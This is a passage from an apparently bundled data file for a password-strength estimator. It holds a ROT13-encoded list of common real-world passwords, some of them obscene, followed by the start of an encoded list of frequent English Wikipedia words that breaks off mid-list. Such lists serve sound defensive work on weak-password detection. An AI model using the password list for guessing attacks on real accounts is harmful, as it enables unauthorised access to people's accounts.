zheculqb,snyybhg1,fcrpger1,wnoorejb,wtwrfd,gheob6,obob12,erqelqre,oynpxchf,ryran1971,qnavybin,nagbva,obob1234,obobo,obooboob,qrna1,222222n,wrfhftbq,zngg23,zhfvpny1,qnexzntr,ybccby,jreerj,wbfrcun,erory12,gbfuxn,tnqsyl,unjxjbbq,nyvan12,qabzlne,frknqqvpg,qnatvg,pbby23,lbpenpx,nepuvzrq,snebhx,ausxmxm,yvaqnybh,111mmmmm,tuwngppwu,jrgurcrbcyr,z123456789,jbjfref,xoxokes,ohyyqbt5,z_ebrfry,fvffvavg,lnzbba6,123rjdnfq,qnatry,zvehibe79,xnlgrr,snypba7,onaqvg11,qbgarg,qnaavv,nefrany9,zvngnzk5,1gebhoyr,fgevc4zr,qbtcvyr,frklerq1,ewqsxgqs,tbbtyr10,fubegzna,pelfgny7,njrfbzr123,pbjqbt,unehxn,oveguqnl28,wvggre,qvnobyvx,obbzre12,qxavtug,oyhrjngr,ubpxrl123,pez0624,oyhroblf,jvyyl123,whzchc,tbbtyr2,pboen777,yynorfno,ivprybeq,ubccre1,treelore,erzznu,w10r5q4,ddddddj,nthfgv,ser_nx8lw,anuyvx,erqebova,fpbgg3,rcfba1,qhzcl,ohaqnb,navbyrx,ubyn123,wretraf,vgfnfrperg,znkfnz,oyhryvtug,zbhagnv1,obatjngre,1ybaqba,crccre14,serrhfr,qrerxf,djrdj,sbeqtg40,esusqsl,envqre12,uhaaloha,pbzcnp,fcyvpre,zrtnzba,ghsstbat,tlzanfg1,ohggre11,zbqnqql,jncoof_1,qnaqryvb,fbppre77,tuwaoqwpawmlog,123klv2,svfurnq,k002gc00,jubqnzna,555nnn,bhffnzn,oehabqbt,grpuavpv,czgtwaoy,dpkqj8el,fpujrqra,erqfbk3,gueboore,pbyyrpgb,wncna10,qoz123qz,uryyubha,grpu1,qrnqmbar,xnuyna,jbys123,qrguxybx,kmfnjd,ovtthl1,ploegup,punaqyr,ohpx01,dd123123,frpergn,jvyyvnzf1,p32649135,qrygn12,synfu33,123wbxre,fcnprwnz,cbybcb,ubylpenc,qnzna1,ghzzlorq,svanapvn,ahfeng,rhebyvar,zntvpbar,wvzxvex,nzrevgrp,qnavry26,friraa,gbcnmm,xvatcvaf,qvzn1991,znpqbt,fcrapre5,bv812,trbsser,zhfvp11,onssyr,123569,hfntv,pnffvbcr,cbyyn,yvypebjr,gurpnxrvfnyvr,iouwaqwugj,igubxvrf,byqznaf,fbcuvr01,tubfgre,craal2,129834,ybphghf1,zrrfun,zntvx,wreel69,qnqqlftvey,vebaqrfx,naqerl12,wnfzvar123,ircfesla,yvxrfqvpx,1nppbeq,wrgobng,tensvk,gbzhpu,fubjvg,cebgbmbn,zbfvnf98,gnohergxn,oynmr420,rfrava,nany69,mui84xi,chvffnag,puneyrf0,nvfujneln,onolyba6,ovggre1,yravan,enyrvtu1,yrpung,npprff01,xnzvyxn,slawl,fcnexcyh,qnvfl3112,pubccr,mbbgfhvg,1234567w,eholebfr,tbevyyn9,avtugfunqr,nygreangvin,ptusqwkloe,fahttyrf1,10121i,ibin1992,yrbaneqb1,qnir2,znggurjq,isusaoe,1986zrgf,abohyy,onpnyy,zrkvpna1,whnawb,znsvn1,obbzre22,fblyrag,rqjneqf1,wbeqna10,oynpxjvq,nyrk86,trzvav13,yhane2,qpgipwpsaz,znynxv,cyhttre,rntyrf11,fansh2,1furyyl,pvagnxh,unaanu22,goveq1,znxf5843,vevfu88,ubzre22,nznebx,sxgepslyuwqs,yvapbya2,nprff,ter69xvx,arrq4fcrrq,uvtugrpu,pber2qhb,oyhag1,hoyuwtwloes,qentba33,1nhgbcnf,nhgbcnf1,jjjj1,15935746,qnavry20,2500nn,znffvz,1ttttttt,96sbeq,uneqpbe1,pboen5,oynpxqentba,ibina_yg,bebpuvzneh,uwyoagxo,djreglhvbc12,gnyyra,cnenqbxf,sebmrasvfu,tuwhusiiopa,treev1,ahttrgg,pnzvyvg,qbevtug,genaf1,freran1,pngpu2,oxzlru,sverfgba,nsuisjgqa,checyr3,svther8,shpxln,fpnzc1,ynenawn,bagurbhgfvqr,ybhvf123,lryybj7,zbbajnyx,zrephel2,gbyxrva,envqr,nzraen,n13579,qenaero,5150iu,unevfu,genpxfgn,frkxvat,bmmzbfvf,xngvrr,nybzne,zngevk19,urnqebbz,wnuybir,evatqvat,ncbyyb8,132546,132613,12345672000,fnerggn,135798,136666,gubznf7,136913,bargjbguerr,ubpxrl33,pnyvqn,arsregvg,ovgjvfr,gnvyubbx,obbc4,xstrpoe,ohwuzohwuz,zrgny69,gurqnex,zrgrbeb,sryvpvn1,ubhfr12,gvahivry,vfgvan,inm2105,cvzc13,gbbysna,avan1,ghrfqnl2,znkzbgvirf,ytxc500,ybpxfyrl,gerrpu,qneyvat1,xhenzn,nzvaxn,enzva,erqurq,qnmmyre,wntre1,fgcvyvbg,pneqzna,esiglz,purrfre,14314314,cnenzbha,fnzpng,cyhzcl,fgvssvr,ifnwlwe,cnangun,ddd777,pne12345,098cbv,nfqmk,xrrtna1,sheryvfr,xnyvsbeavn,iouwpxsq,ornfg123,mpsismxrkvsm,uneel5,1oveqvr,96328v,rfpbyn,rkgen330,urael12,tsuslwdm,14h2ai,znk1234,grzcyne1,1qnir,02588520,pngeva,cnatbyva,zneunon,yngva1,nzbepvgb,qnir22,rfpncr1,nqinapr1,lnfhuveb,tercj,zrrgzr,benatr01,rearf,reqan,mfreta,anhgvpn1,whfgvao,fbhaqjni,zvnfzn,tert78,anqvar1,frkznq,ybironol,cebzb1,rkpry1,onolf,qentbazn,pnzel1,fbaarafpurva,snebbd,jnmmxncevirg,zntny,xngvanf,ryivf99,erqfbk24,ebbarl1,puvrsl,crttlf,nyvri,cvyfhat,zhqura,qbagqbvg,qraavf12,fhcrepny,raretvn,onyyfbhg,shabar,pynhqvh,oebja2,nzbpb,qnoy1125,cuvybf,twqgxoagxz,freirggr,13571113,juvmmre,abyyvr,13467982,hcvgre,12fgevat,oyhrwnl1,fvyxvr,jvyyvnz4,xbfgn1,143333,pbaabe12,fhfgnaba,06068,pbecbeng,ffanxr,ynhevgn,xvat10,gnubrf,nefrany123,fncngb,puneyrff,wrnaznep,yrirag,nytrevr,znevar21,wrggnf,jvafbzr,qpgitocys,1701no,kkkc455j0eq5,yyyyyyy1,bbbbbbb1,zbanyvf,xbhsnk32,nanfgnfln,qrohttre,fnevgn2,wnfba69,hsxkwlwe,twypasqs,1wreel,qnavry10,onyvabe,frkxvggra,qrngu2,djregnfqstmkpio,f9gr949s,irtrgn1,flfzna,znkknz,qvznovyna,zbbbfr,vybirgvg,whar23,vyyrfg,qbrfvg,znzbh,nool12,ybatwhzc,genafnyc,zbqrengb,yvggyrthl,zntevggr,qvyabmn,unjnvvthl,jvaovt,arzvebss,xbxnvar,nqzven,zlrznvy,qernz2,oebjarlrf,qrfgval7,qentbaff,fhpxzr1,nfn123,naqenavx,fhpxrz,syrfuobg,qnaqvr,gvzzlf,fpvgen,gvzqbt,unforra,thrfff,fzryylsr,nenpuar,qrhgfpuy,uneyrl88,oveguqnl27,abobql1,cncnfzhe,ubzr1,wbanff,ohavn3,rcngo1,rzonyz,isirxzes,ncnpre,12345656,rfgerrg,jrvuanpugfonhz,zejuvgr,nqzva12,xevfgvr1,xryrorx,lbqn69,fbpxra,gvzn123,onlrea1,sxgepslygu,gnzvln,99fgeratug,naql01,qravf2011,19qrygn,fgbxrpvg,nbgrnebn,fgnyxre2,avpanp,pbaenq1,cbcrl,nthfgn,objy36,1ovtsvfu,zbfflbnx,1fghaare,trgvaabj,wrffrwnzrf,txsawl,qenxb,1avffna,rtbe123,ubgarff,1unjnvv,mkp123456,pnagfgbc,1crnpurf,znqyra,jrfg1234,wrgre1,znexvf,whqvg,nggnpx1,negrzv,fvyire69,153246,penml2,terra9,lbfuvzv,1irggr,puvrs123,wnfcre2,1fvreen,gjraglba,qefgenat,nfcvenag,lnaavp,wraan123,obatgbxr,fyhecl,1fhtne,pvivp97,ehfgl21,fuvarba,wnzrf19,naan12345,jbaqrejbzna,1xriva,xneby1,xnanovf,jreg21,sxgvs6115,rivy1,xnxnun,54ti768,826248f,glebar1,1jvafgba,fhtne2,snypba01,nqryln,zbcne440,mnfkpq,yrrpure,xvaxlfrk,zreprqr1,genixn,11234567,eroba,trrxobl".split(","), english_wikipedia:"gur,bs,naq,va,jnf,vf,sbe,nf,ba,jvgu,ol,ur,ng,sebz,uvf,na,jrer,ner,juvpu,qbp,uggcf,nyfb,be,unf,unq,svefg,bar,gurve,vgf,nsgre,arj,jub,gurl,gjb,ure,fur,orra,bgure,jura,gvzr,qhevat,gurer,vagb,fpubby,zber,znl,lrnef,bire,bayl,lrne,zbfg,jbhyq,jbeyq,pvgl,fbzr,jurer,orgjrra,yngre,guerr,fgngr,fhpu,gura,angvbany,hfrq,znqr,xabja,haqre,znal,havirefvgl,havgrq,juvyr,cneg,frnfba,grnz,gurfr,nzrevpna,guna,svyz,frpbaq,obea,fbhgu,orpnzr,fgngrf,jne,guebhtu,orvat,vapyhqvat,obgu,orsber,abegu,uvtu,ubjrire,crbcyr,snzvyl,rneyl,uvfgbel,nyohz,nern,gurz,frevrf,ntnvafg,hagvy,fvapr,qvfgevpg,pbhagl,anzr,jbex,yvsr,tebhc,zhfvp,sbyybjvat,ahzore,pbzcnal,frireny,sbhe,pnyyrq,cynlrq,eryrnfrq,pnerre,yrnthr,tnzr,tbireazrag,ubhfr,rnpu,onfrq,qnl,fnzr,jba,hfr,fgngvba,pyho,vagreangvbany,gbja,ybpngrq,cbchyngvba,trareny,pbyyrtr,rnfg,sbhaq,ntr,znepu,raq,frcgrzore,ortna,ubzr,choyvp,puhepu,yvar,whar,evire,zrzore,flfgrz,cynpr,praghel,onaq,whyl,lbex,wnahnel,bpgbore,fbat,nhthfg,orfg,sbezre,oevgvfu,cnegl,anzrq,uryq,ivyyntr,fubj,ybpny,abirzore,gbbx,freivpr,qrprzore,ohvyg,nabgure,znwbe,jvguva,nybat,zrzoref,svir,fvatyr,qhr,nygubhtu,fznyy,byq,yrsg,svany,ynetr,vapyhqr,ohvyqvat,freirq,cerfvqrag,erprvirq,tnzrf,qrngu,sroehnel,znva,guveq,frg,puvyqera,bja,beqre,fcrpvrf,cnex,ynj,nve,choyvfurq,ebnq,qvrq,obbx,zra,jbzra,nezl,bsgra,nppbeqvat,rqhpngvba,prageny,pbhagel,qvivfvba,ratyvfu,gbc,vapyhqrq,qrirybczrag,serapu,pbzzhavgl,nzbat,jngre,cynl,fvqr,yvfg,gvzrf,arne,yngr,sbez,bevtvany,qvssrerag,pragre,cbjre,yrq,fghqragf,trezna,zbirq,pbheg,fvk,ynaq,pbhapvy,vfynaq,h.f.,erpbeq,zvyyvba,erfrnepu,neg,rfgnoyvfurq,njneq,fgerrg,zvyvgnel,gryrivfvba,tvira,ertvba,fhccbeg,jrfgrea,cebqhpgvba,aba,cbyvgvpny,cbvag,phc,crevbq,ohfvarff,gvgyr,fgnegrq,inevbhf,ryrpgvba,hfvat,ratynaq,ebyr,cebqhprq,orpbzr,cebtenz,jbexf,svryq,gbgny,bssvpr,pynff,jevggra,nffbpvngvba,enqvb,havba,yriry,punzcvbafuvc,qverpgbe,srj,sbepr,perngrq,qrcnegzrag,sbhaqrq,freivprf,zneevrq,gubhtu,cre,a'g,fvgr,bcra,npg,fubeg,fbpvrgl,irefvba,eblny,cerfrag,abegurea,jbexrq,cebsrffvbany,shyy,erghearq,wbvarq,fgbel,senapr,rhebcrna,pheeragyl,ynathntr,fbpvny,pnyvsbeavn,vaqvn,qnlf,qrfvta,fg.,shegure,ebhaq,nhfgenyvn,jebgr,fna,cebwrpg,pbageby,fbhgurea,envyjnl,obneq,cbchyne,pbagvahrq,serr,onggyr,pbafvqrerq,ivqrb,pbzzba,cbfvgvba,yvivat,unys,cynlvat,erpbeqrq,erq,cbfg,qrfpevorq,nirentr,erpbeqf,fcrpvny,zbqrea,nccrnerq,naabhaprq,nernf,ebpx,eryrnfr,ryrpgrq,bguref,rknzcyr,grez,bcrarq,fvzvyne,sbezrq,ebhgr,prafhf,pheerag,fpubbyf,bevtvanyyl,ynxr,qrirybcrq,enpr,uvzfrys,sbeprf,nqqvgvba,vasbezngvba,hcba,cebivapr,zngpu,rirag,fbatf,erfhyg,riragf,jva,rnfgrea,genpx,yrnq,grnzf,fpvrapr,uhzna,pbafgehpgvba,zvavfgre,treznal,njneqf,ninvynoyr,guebhtubhg,genvavat,fglyr,obql,zhfrhz,nhfgenyvna,urnygu,frira,fvtarq,puvrs,riraghnyyl,nccbvagrq,frn,prager,qrohg,gbhe,cbvagf,zrqvn,yvtug,enatr,punenpgre,npebff,srngherf,snzvyvrf,ynetrfg,vaqvna,argjbex,yrff,cresbeznapr,cynlref,ersre,rhebcr,fbyq,srfgviny,hfhnyyl,gnxra,qrfcvgr,qrfvtarq,pbzzvggrr,cebprff,erghea,bssvpvny,rcvfbqr,vafgvghgr,fgntr,sbyybjrq,cresbezrq,wncnarfr,crefbany,guhf,negf,fcnpr,ybj,zbaguf,vapyhqrf,puvan,fghql,zvqqyr,zntnmvar,yrnqvat,wncna,tebhcf,nvepensg,srngherq,srqreny,pvivy,evtugf,zbqry,pbnpu,pnanqvna,obbxf,erznvarq,rvtug,glcr,vaqrcraqrag,pbzcyrgrq,pncvgny,npnqrzl,vafgrnq,xvatqbz,betnavmngvba,pbhagevrf,fghqvrf,pbzcrgvgvba,fcbegf,fvmr,nobir,frpgvba,svavfurq,tbyq,vaibyirq,ercbegrq,znantrzrag,flfgrzf,vaqhfgel,qverpgrq,znexrg,sbhegu,zbirzrag,grpuabybtl,onax,tebhaq,pnzcnvta,onfr,ybjre,frag,engure,nqqrq,cebivqrq,pbnfg,tenaq,uvfgbevp,inyyrl,pbasrerapr,oevqtr,jvaavat,nccebkvzngryl,svyzf,puvarfr,njneqrq,qrterr,ehffvna,fubjf,angvir,srznyr,ercynprq,zhavpvcnyvgl,fdhner,fghqvb,zrqvpny,qngn,nsevpna,fhpprffshy,zvq,onl,nggnpx,cerivbhf,bcrengvbaf,fcnavfu,gurnger,fghqrag,erchoyvp,ortvaavat,cebivqr,fuvc,cevznel,bjarq,jevgvat,gbheanzrag,phygher,vagebqhprq,grknf,eryngrq,angheny,cnegf,tbireabe,ernpurq,verynaq,havgf,fravbe,qrpvqrq,vgnyvna,jubfr,uvture,nsevpn,fgnaqneq,vapbzr,cebsrffbe,cynprq,ertvbany,ybf,ohvyqvatf,punzcvbafuvcf,npgvir,abiry,raretl,trarenyyl,vagrerfg,ivn,rpbabzvp,cerivbhfyl,fgngrq,vgfrys,punaary,orybj,bcrengvba,yrnqre,genqvgvbany,genqr,fgehpgher,yvzvgrq,ehaf,cevbe,erthyne,snzbhf,fnvag,anil,sbervta,yvfgrq,negvfg,pngubyvp,nvecbeg,erfhygf,cneyvnzrag,pbyyrpgvba,havg,bssvpre,tbny,nggraqrq,pbzznaq,fgnss,pbzzvffvba,yvirq,ybpngvba,cynlf,pbzzrepvny,cynprf,sbhaqngvba,fvtavsvpnag,byqre,zrqny,frys,fpberq,pbzcnavrf,uvtujnl,npgvivgvrf,cebtenzf,jvqr,zhfvpny,abgnoyr,yvoenel,ahzrebhf,cnevf,gbjneqf,vaqvivqhny,nyybjrq,cynag,cebcregl,naahny,pbagenpg,jubz,uvturfg,vavgvnyyl,erdhverq,rneyvre,nffrzoyl,negvfgf,eheny,frng,cenpgvpr,qrsrngrq,raqrq,fbivrg,yratgu,fcrag,znantre,cerff,nffbpvngrq,nhgube,vffhrf,nqqvgvbany,punenpgref,ybeq,mrnynaq,cbyvpl,ratvar,gbjafuvc,abgrq,uvfgbevpny,pbzcyrgr,svanapvny,eryvtvbhf,zvffvba,pbagnvaf,avar,erprag,ercerfragrq,craaflyinavn,nqzvavfgengvba,bcravat,frpergnel,yvarf,ercbeg,rkrphgvir,lbhgu,pybfrq,gurbel,jevgre,vgnyl,natryrf,nccrnenapr,srngher,dhrra,ynhapurq,yrtny,grezf,ragrerq,vffhr,rqvgvba,fvatre,terrx,znwbevgl,onpxtebhaq,fbhepr,nagv,phygheny,pbzcyrk,punatrf,erpbeqvat,fgnqvhz,vfynaqf,bcrengrq,cnegvphyneyl,onfxrgonyy,zbagu,hfrf,cbeg,pnfgyr,zbfgyl,anzrf,sbeg,fryrpgrq,vapernfrq,fgnghf,rnegu,fhofrdhragyl,cnpvsvp,pbire,inevrgl,pregnva,tbnyf,erznvaf,hccre,pbaterff,orpbzvat,fghqvrq,vevfu,angher,cnegvphyne,ybff,pnhfrq,puneg,qe.,sbeprq,perngr,ren,ergverq,zngrevny,erivrj,engr,fvatyrf,ersreerq,ynetre,vaqvivqhnyf,fubja,cebivqrf,cebqhpgf,fcrrq,qrzbpengvp,cbynaq,cnevfu,bylzcvpf,pvgvrf,gurzfryirf,grzcyr,jvat,trahf,ubhfrubyqf,freivat,pbfg,jnyrf,fgngvbaf,cnffrq,fhccbegrq,ivrj,pnfrf,sbezf,npgbe,znyr,zngpurf,znyrf,fgnef,genpxf,srznyrf,nqzvavfgengvir,zrqvna,rssrpg,ovbtencul,genva,ratvarrevat,pnzc,bssrerq,punvezna,ubhfrf,znvayl,19gu,fhesnpr,gurersber,arneyl,fpber,napvrag,fhowrpg,cevzr,frnfbaf,pynvzrq,rkcrevrapr,fcrpvsvp,wrjvfu,snvyrq,birenyy,oryvrirq,cybg,gebbcf,terngre,fcnva,pbafvfgf,oebnqpnfg,urnil,vapernfr,envfrq,frcnengr,pnzchf,1980f,nccrnef,cerfragrq,yvrf,pbzcbfrq,erpragyl,vasyhrapr,svsgu,angvbaf,perrx,ersreraprf,ryrpgvbaf,oevgnva,qbhoyr,pnfg,zrnavat,rnearq,pneevrq,cebqhpre,ynggre,ubhfvat,oebguref,nggrzcg,negvpyr,erfcbafr,obeqre,erznvavat,arneol,qverpg,fuvcf,inyhr,jbexref,cbyvgvpvna,npnqrzvp,ynory,1970f,pbzznaqre,ehyr,sryybj,erfvqragf,nhgubevgl,rqvgbe,genafcbeg,qhgpu,cebwrpgf,erfcbafvoyr,pbirerq,greevgbel,syvtug,enprf,qrsrafr,gbjre,rzcrebe,nyohzf,snpvyvgvrf,qnvyl,fgbevrf,nffvfgnag,znantrq,cevznevyl,dhnyvgl,shapgvba,cebcbfrq,qvfgevohgvba,pbaqvgvbaf,cevmr,wbheany,pbqr,ivpr,arjfcncre,pbecf,uvtuyl,pbafgehpgrq,znlbe,pevgvpny,frpbaqnel,pbecbengvba,ehtol,ertvzrag,buvb,nccrnenaprf,freir,nyybj,angvba,zhygvcyr,qvfpbirerq,qverpgyl,fprar,yriryf,tebjgu,ryrzragf,npdhverq,1990f,bssvpref,culfvpny,20gu,yngva,ubfg,wrefrl,tenqhngrq,neevirq,vffhrq,yvgrengher,zrgny,rfgngr,ibgr,vzzrqvngryl,dhvpxyl,nfvna,pbzcrgrq,rkgraqrq,cebqhpr,heona,1960f,cebzbgrq,pbagrzcbenel,tybony,sbezreyl,nccrne,vaqhfgevny,glcrf,bcren,zvavfgel,fbyqvref,pbzzbayl,znff,sbezngvba,fznyyre,glcvpnyyl,qenzn,fubegyl,qrafvgl,frangr,rssrpgf,vena,cbyvfu,cebzvarag,aniny,frggyrzrag,qvivqrq,onfvf,erchoyvpna,ynathntrf,qvfgnapr,gerngzrag,pbagvahr,cebqhpg,zvyr,fbheprf,sbbgonyyre,sbezng,pyhof,yrnqrefuvc,vavgvny,bssref,bcrengvat,nirahr,bssvpvnyyl,pbyhzovn,tenqr,fdhnqeba,syrrg,creprag,snez,yrnqref,nterrzrag,yvxryl,rdhvczrag,jrofvgr,zbhag,terj,zrgubq,genafsreerq,vagraqrq,eranzrq,veba,nfvn,erfreir,pncnpvgl,cbyvgvpf,jvqryl,npgvivgl,nqinaprq,eryngvbaf,fpbggvfu,qrqvpngrq,perj,sbhaqre,rcvfbqrf,ynpx,nzbhag,ohvyq,rssbegf,pbaprcg,sbyybjf,beqrerq,yrnirf,cbfvgvir,rpbabzl,ragregnvazrag,nssnvef,zrzbevny,novyvgl,vyyvabvf,pbzzhavgvrf,pbybe,grkg,envyebnq,fpvragvsvp,sbphf,pbzrql,freirf,rkpunatr,raivebazrag,pnef,qverpgvba,betnavmrq,svez,qrfpevcgvba,ntrapl,nanylfvf,checbfr,qrfgeblrq,erprcgvba,cynaarq,erirnyrq,vasnagel,nepuvgrpgher,tebjvat,srnghevat,ubhfrubyq,pnaqvqngr,erzbirq,fvghngrq,zbqryf,xabjyrqtr,fbyb,grpuavpny,betnavmngvbaf,nffvtarq,pbaqhpgrq,cnegvpvcngrq,ynetryl,chepunfrq,ertvfgre,tnvarq,pbzovarq,urnqdhnegref,nqbcgrq,cbgragvny,cebgrpgvba,fpnyr,nccebnpu,fcernq,vaqrcraqrapr,zbhagnvaf,gvgyrq,trbtencul,nccyvrq,fnsrgl,zvkrq,npprcgrq,pbagvahrf,pncgherq,envy,qrsrng,cevapvcny,erpbtavmrq,yvrhgranag,zragvbarq,frzv,bjare,wbvag,yvoreny,npgerff,genssvp,perngvba,onfvp,abgrf,havdhr,fhcerzr,qrpynerq,fvzcyl,cynagf,fnyrf,znffnpuhfrggf,qrfvtangrq,cnegvrf,wnmm,pbzcnerq,orpbzrf,erfbheprf,gvgyrf,pbapreg,yrneavat,erznva,grnpuvat,irefvbaf,pbagrag,nybatfvqr,eribyhgvba,fbaf,oybpx,cerzvre,vzcnpg,punzcvbaf,qvfgevpgf,trarengvba,rfgvzngrq,ibyhzr,vzntr,fvgrf,nppbhag,ebyrf,fcbeg,dhnegre,cebivqvat,mbar,lneq,fpbevat,pynffrf,cerfrapr,cresbeznaprf,ercerfragngvirf,ubfgrq,fcyvg,gnhtug,bevtva,bylzcvp,pynvzf,pevgvpf,snpvyvgl,bppheerq,fhssrerq,zhavpvcny,qnzntr,qrsvarq,erfhygrq,erfcrpgviryl,rkcnaqrq,cyngsbez,qensg,bccbfvgvba,rkcrpgrq,rqhpngvbany,bagnevb,pyvzngr,ercbegf,ngynagvp,fheebhaqvat,cresbezvat,erqhprq,enaxrq,nyybjf,ovegu,abzvangrq,lbhatre,arjyl,xbat,cbfvgvbaf,gurngre,cuvynqrycuvn,urevgntr,svanyf,qvfrnfr,fvkgu,ynjf,erivrjf,pbafgvghgvba,genqvgvba,fjrqvfu,gurzr,svpgvba,ebzr,zrqvpvar,genvaf,erfhygvat,rkvfgvat,qrchgl,raivebazragny,ynobhe,pynffvpny,qrirybc,snaf,tenagrq,erprvir,nygreangvir,ortvaf,ahpyrne,snzr,ohevrq,pbaarpgrq,vqragvsvrq,cnynpr,snyyf,yrggref,pbzong,fpvraprf,rssbeg,ivyyntrf,vafcverq,ertvbaf,gbjaf,pbafreingvir,pubfra,navznyf,ynobe,nggnpxf,zngrevnyf,lneqf,fgrry,ercerfragngvir,bepurfgen,crnx,ragvgyrq,bssvpvnyf,ergheavat,ersrerapr,abegujrfg,vzcrevny,pbairagvba,rknzcyrf,bprna,choyvpngvba,cnvagvat,fhofrdhrag,serdhragyl,eryvtvba,oevtnqr,shyyl,fvqrf,npgf,przrgrel,eryngviryl,byqrfg,fhttrfgrq,fhpprrqrq,npuvrirq,nccyvpngvba,cebtenzzr,pryyf,ibgrf,cebzbgvba,tenqhngr,nezrq,fhccyl,sylvat,pbzzhavfg,svtherf,yvgrenel,argureynaqf,xbern,jbeyqjvqr,pvgvmraf,1950f,snphygl,qenj,fgbpx,frngf,bpphcvrq,zrgubqf,haxabja,negvpyrf,pynvz,ubyqf,nhgubevgvrf,nhqvrapr,fjrqra,vagreivrj,bognvarq,pbiref,frggyrq,genafsre,znexrq,nyybjvat,shaqvat,punyyratr,fbhgurnfg,hayvxr,pebja,evfr,cbegvba,genafcbegngvba,frpgbe,cunfr,cebcregvrf,rqtr,gebcvpny,fgnaqneqf,vafgvghgvbaf,cuvybfbcul,yrtvfyngvir,uvyyf,oenaq,shaq,pbasyvpg,hanoyr,sbhaqvat,ershfrq,nggrzcgf,zrgerf,creznarag,fgneevat,nccyvpngvbaf,perngvat,rssrpgvir,nverq,rkgrafvir,rzcyblrq,rarzl,rkcnafvba,ovyyobneq,enax,onggnyvba,zhygv,iruvpyr,sbhtug,nyyvnapr,pngrtbel,cresbez,srqrengvba,cbrgel,oebamr,onaqf,ragel,iruvpyrf,ohernh,znkvzhz,ovyyvba,gerrf,vagryyvtrapr,terngrfg,fperra,ersref,pbzzvffvbarq,tnyyrel,vawhel,pbasvezrq,frggvat,gerngl,nqhyg,nzrevpnaf,oebnqpnfgvat,fhccbegvat,cvybg,zbovyr,jevgref,cebtenzzvat,rkvfgrapr,fdhnq,zvaarfbgn,pbcvrf,xberna,cebivapvny,frgf,qrsrapr,bssvprf,ntevphygheny,vagreany,pber,abegurnfg,ergverzrag,snpgbel,npgvbaf,cerirag,pbzzhavpngvbaf,raqvat,jrrxyl,pbagnvavat,shapgvbaf,nggrzcgrq,vagrevbe,jrvtug,objy,erpbtavgvba,vapbecbengrq,vapernfvat,hygvzngryl,qbphzragnel,qrevirq,nggnpxrq,ylevpf,zrkvpna,rkgreany,puhepurf,praghevrf,zrgebcbyvgna,fryyvat,bccbfrq,crefbaary,zvyy,ivfvgrq,cerfvqragvny,ebnqf,cvrprf,abejrtvna,pbagebyyrq,18gu,erne,vasyhraprq,jerfgyvat,jrncbaf,ynhapu,pbzcbfre,ybpngvbaf,qrirybcvat,pvephvg,fcrpvsvpnyyl,fghqvbf,funerq,pnany,jvfpbafva,choyvfuvat,nccebirq,qbzrfgvp,pbafvfgrq,qrgrezvarq,pbzvp,rfgnoyvfuzrag,rkuvovgvba,fbhgujrfg,shry,ryrpgebavp,pncr,pbairegrq,rqhpngrq,zryobhear,uvgf,jvaf,cebqhpvat,abejnl,fyvtugyl,bpphe,fheanzr,vqragvgl,ercerfrag,pbafgvghrapl,shaqf,cebirq,yvaxf,fgehpgherf,nguyrgvp,oveqf,pbagrfg,hfref,cbrg,vafgvghgvba,qvfcynl,erprvivat,ener,pbagnvarq,thaf,zbgvba,cvnab,grzcrengher,choyvpngvbaf,cnffratre,pbagevohgrq,gbjneq,pngurqeny,vaunovgnagf,nepuvgrpg,rkvfg,nguyrgvpf,zhfyvz,pbhefrf,nonaqbarq,fvtany,fhpprffshyyl,qvfnzovthngvba,graarffrr,qlanfgl,urnivyl,znelynaq,wrjf,ercerfragvat,ohqtrg,jrngure,zvffbhev,vagebqhpgvba,snprq,cnve,puncry,ersbez,urvtug,ivrganz,bpphef,zbgbe,pnzoevqtr,ynaqf,sbphfrq,fbhtug,cngvragf,funcr,vainfvba,purzvpny,vzcbegnapr,pbzzhavpngvba,fryrpgvba,ertneqvat,ubzrf,ibvibqrfuvc,znvagnvarq,obebhtu,snvyher,ntrq,cnffvat,ntevphygher,bertba,grnpuref,sybj,cuvyvccvarf,genvy,friragu,cbeghthrfr,erfvfgnapr,ernpuvat,artngvir,snfuvba,fpurqhyrq,qbjagbja,havirefvgvrf,genvarq,fxvyyf,fprarf,ivrjf,abgnoyl,glcvpny,vapvqrag,pnaqvqngrf,ratvarf,qrpnqrf,pbzcbfvgvba,pbzzhar,punva,vap.,nhfgevn,fnyr,inyhrf,rzcyblrrf,punzore,ertneqrq,jvaaref,ertvfgrerq,gnfx,vairfgzrag,pbybavny,fjvff,hfre,ragveryl,synt,fgberf,pybfryl,ragenapr,ynvq,wbheanyvfg,pbny,rdhny,pnhfrf,ghexvfu,dhrorp,grpuavdhrf,cebzbgr,whapgvba,rnfvyl,qngrf,xraghpxl,fvatncber,erfvqrapr,ivbyrapr,nqinapr,fheirl,uhznaf,rkcerffrq,cnffrf,fgerrgf,qvfgvathvfurq,dhnyvsvrq,sbyx,rfgnoyvfu,rtlcg,negvyyrel,ivfhny,vzcebirq,npghny,svavfuvat,zrqvhz,cebgrva,fjvgmreynaq,cebqhpgvbaf,bcrengr,cbiregl,arvtuobeubbq,betnavfngvba,pbafvfgvat,pbafrphgvir,frpgvbaf,cnegarefuvc,rkgrafvba,ernpgvba,snpgbe,pbfgf,obqvrf,qrivpr,rguavp,enpvny,syng,bowrpgf,puncgre,vzcebir,zhfvpvnaf,pbhegf,pbagebirefl,zrzorefuvc,zretrq,jnef,rkcrqvgvba,vagrerfgf,neno,pbzvpf,tnva,qrfpevorf,zvavat,onpurybe,pevfvf,wbvavat,qrpnqr,1930f,qvfgevohgrq,unovgng,ebhgrf,neran,plpyr,qvivfvbaf,oevrsyl,ibpnyf,qverpgbef,qrterrf,bowrpg,erpbeqvatf,vafgnyyrq,nqwnprag,qrznaq,ibgrq,pnhfvat,ohfvarffrf,ehyrq,tebhaqf,fgneerq,qenja,bccbfvgr,fgnaqf,sbezny,bcrengrf,crefbaf,pbhagvrf,pbzcrgr,jnir,vfenryv,apnn,erfvtarq,oevrs,terrpr,pbzovangvba,qrzbtencuvpf,uvfgbevna,pbagnva,pbzzbajrnygu,zhfvpvna,pbyyrpgrq,nethrq,ybhvfvnan,frffvba,pnovarg,cneyvnzragnel,ryrpgbeny,ybna,cebsvg,erthyneyl,pbafreingvba,vfynzvp,chepunfr,17gu,punegf,erfvqragvny,rneyvrfg,qrfvtaf,cnvagvatf,fheivirq,zbgu,vgrzf,tbbqf,terl,naavirefnel,pevgvpvfz,vzntrf,qvfpbirel,bofreirq,haqretebhaq,cebterff,nqqvgvbanyyl,cnegvpvcngr,gubhfnaqf,erqhpr,ryrzragnel,bjaref,fgngvat,vend,erfbyhgvba,pncgher,gnax,ebbzf,ubyyljbbq,svanapr,dhrrafynaq,ervta,znvagnva,vbjn,ynaqvat,oebnq,bhgfgnaqvat,pvepyr,cngu,znahsnpghevat,nffvfgnapr,frdhrapr,tzvan,